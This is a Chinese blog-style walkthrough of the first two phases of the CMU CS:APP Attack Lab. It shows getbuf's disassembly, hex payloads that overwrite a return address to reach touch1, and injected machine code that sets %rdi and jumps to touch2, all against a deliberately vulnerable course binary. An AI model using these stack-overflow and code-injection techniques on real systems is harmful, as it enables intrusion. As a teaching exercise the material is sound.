最近看深入理解计算机系统的视频,对他们的 Attack Lab 非常感兴趣,于是就找到程序做了一下,感觉还是蛮有意思的。代码和程序需要在 cmu 的网站上下载。下载后解压就可以开始做题了。

第一题

第一题说明了程序里有个存在堆栈溢出的程序 getbuf ,我们的目的就是利用 getbuf 溢出代码并跳转到函数 touch1() 上。

本题基本展示了堆栈溢出攻击最基本的形式。

首先我们使用 objdump -d ctarget >c.txt 将 disassem 的代码保存到 c.txt 里方便我们查看。

我们首先查找 getbuf 函数的位置,大概是这样的:

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          call   401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      ret
  4017be:   90                      nop
  4017bf:   90                      nop

代码的意思是,在栈上开辟了一个 40 字节的空间给字符串,并调用 gets() 方法写入到栈上。函数完成后,将回退 40 字节,并调用 ret 回到原函数。

首先,ret 回退地址是保存在当前函数栈之前的,只要我们覆盖了函数栈之前的回退地址,我们就可以跳转到我们想执行的函数上去。

我们首先要获取 touch1() 的地址,可以直接在 c.txt 里搜索,当然,它就在 getbuf 下面。

我们构造一下我们的攻击字符串。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

由于栈空间是低位到高位排布,所以地址也要重新调整一下顺序。前面五行随便什么数字都行,但最后一行必须是地址。

执行:

./hex2raw <phase.txt | ./ctarget -q

结果 PASS 了。

第二题

第二题我们要跳转到 touch2() 上,但 touch2() 是带有参数的,我们不能直接跳转过去。需要首先跳转到我们自己的函数上去,然后再在我们函数上完成参数设置,再跳回去。

这里我们首先要获取 rsp 寄存器里存储的字符串地址,这里我们需要借助 gdb 。

用 gdb 打开 ctarget (gdb --args ctarget -q),打上断点(break getbuf),然后运行至断点(run),查看寄存器(info registers rsp)即可。

记录下此时的值,这个值减去 0x28 就是我们需要的地址。

然后我们构造一下我们的恶意代码:

pushq $0x4017ec
mov $0x59b997fa,%rdi
retq

第一行是推入 touch2() 的地址到堆栈, rsp 指针就发生了变动,此时我们 retq 就会跳转到 tocuh2() 。第二句就是将参数传递给参数寄存器。我们编译该段代码 gcc -c phase2.s ,获得 phase2.o 文件,使用 objdump 查看该文件。

0000000000000000 <.text>:
   0:   68 ec 17 40 00          push   $0x4017ec
   5:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   c:   c3                      ret

由此我们构建我们的 payload 。

68 ec 17 40 00 48 c7 c7
fa 97 b9 59 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

需要注意的是,栈空间是从高到低增长的,但代码空间是低到高增长的。因此,之前将 rsp 减去 0x28 ,就是为了获取最低处的地址,由于代码段和栈空间增长方式不一样,所以我们的攻击代码也要对着写。

后面的题目有机会再写。